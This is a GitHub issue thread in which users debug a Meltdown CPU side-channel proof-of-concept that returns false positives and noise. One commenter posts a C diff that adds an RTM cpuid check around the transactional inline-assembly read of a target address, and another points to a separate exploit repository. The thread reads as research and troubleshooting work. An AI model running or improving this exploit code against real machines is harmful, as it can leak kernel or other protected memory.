Open randomeval opened 6 years ago
I can confirm this issue. After preventing the unsupported instructions to be executed with cpu_has_rtm()
test, I was able to compile and test this on other PCs, including an Atom one which is not vulnerable (tested with another meltdown implementation) and got false positive.
On the other hand, the TEST_IN_OWN_PROCESS
set to 0 got random noise on all of my PCs regardless on the NUM_PROBES
setting.
@pm-cz Would you mind to share your code
@wlmnzf: OK, but as I said, even without the modification, the original code seems to be broken and on Skylake with external process using TEST_IN_OWN_PROCESS
set to 0 fails to get anything reasonable. Partial solution is in #4, but just for specific use case (syscall table). I guess the #6 pull request may be fixing more, but I switched to https://github.com/paboldin/meltdown-exploit instead.
--- meltdown.c 2018-01-05 17:08:28.507444929 +0100
+++ meltdown-multi.c 2018-01-07 08:08:44.080168777 +0100
@@ -10,6 +10,7 @@
#include <string.h>
#include <sys/mman.h>
+#include <cpuid.h>
#define NUM_PROBES 5
#define TEST_IN_OWN_PROCESS 1
@@ -50,6 +51,18 @@
#define __rtm_force_inline __attribute__((__always_inline__)) inline
+#define CPUID_RTM (1 << 11)
+
+static inline int cpu_has_rtm(void)
+{
+ if (__get_cpuid_max(0, NULL) >= 7) {
+ unsigned a, b, c, d;
+ __cpuid_count(7, 0, a, b, c, d);
+ return !!(b & CPUID_RTM);
+ }
+ return 0;
+}
+
static __rtm_force_inline int _xbegin(void)
{
int ret = _XBEGIN_STARTED;
@@ -130,7 +143,7 @@
flush(&buf[i * page_size]);
}
- if ((status = _xbegin()) == _XBEGIN_STARTED) {
+ if (!cpu_has_rtm() || ((status = _xbegin()) == _XBEGIN_STARTED)) {
asm __volatile__ (
"%=: \n"
"xorq %%rax, %%rax \n"
@@ -142,7 +155,9 @@
: [ptr] "r" (ptr), [buf] "r" (buf)
: "%rax", "%rbx");
- _xend();
+ if (cpu_has_rtm()) {
+ _xend();
+ }
} else {
asm __volatile__ ("mfence\n" :::);
}
@@ -213,6 +228,11 @@
argv[0]);
return 0;
}
+
+ if (!cpu_has_rtm()) {
+ fprintf(stderr,"Without RTM the test in external process will probably not work\n");
+// return 1;
+ }
start_addr = strtoul(argv[1], NULL, 16);
len = strtoul(argv[2], NULL, 10);
It works,Thank you! @pm-cz
the TEST_PHRASE is in your own process address space, and can be read. So the TEST_IN_OWN_PROCESS will work without problem.
But if you change TEST_PHRASE to some address witch can't read, the result will be noise.
I use mmap and mprotect make address can't read, then It will not work.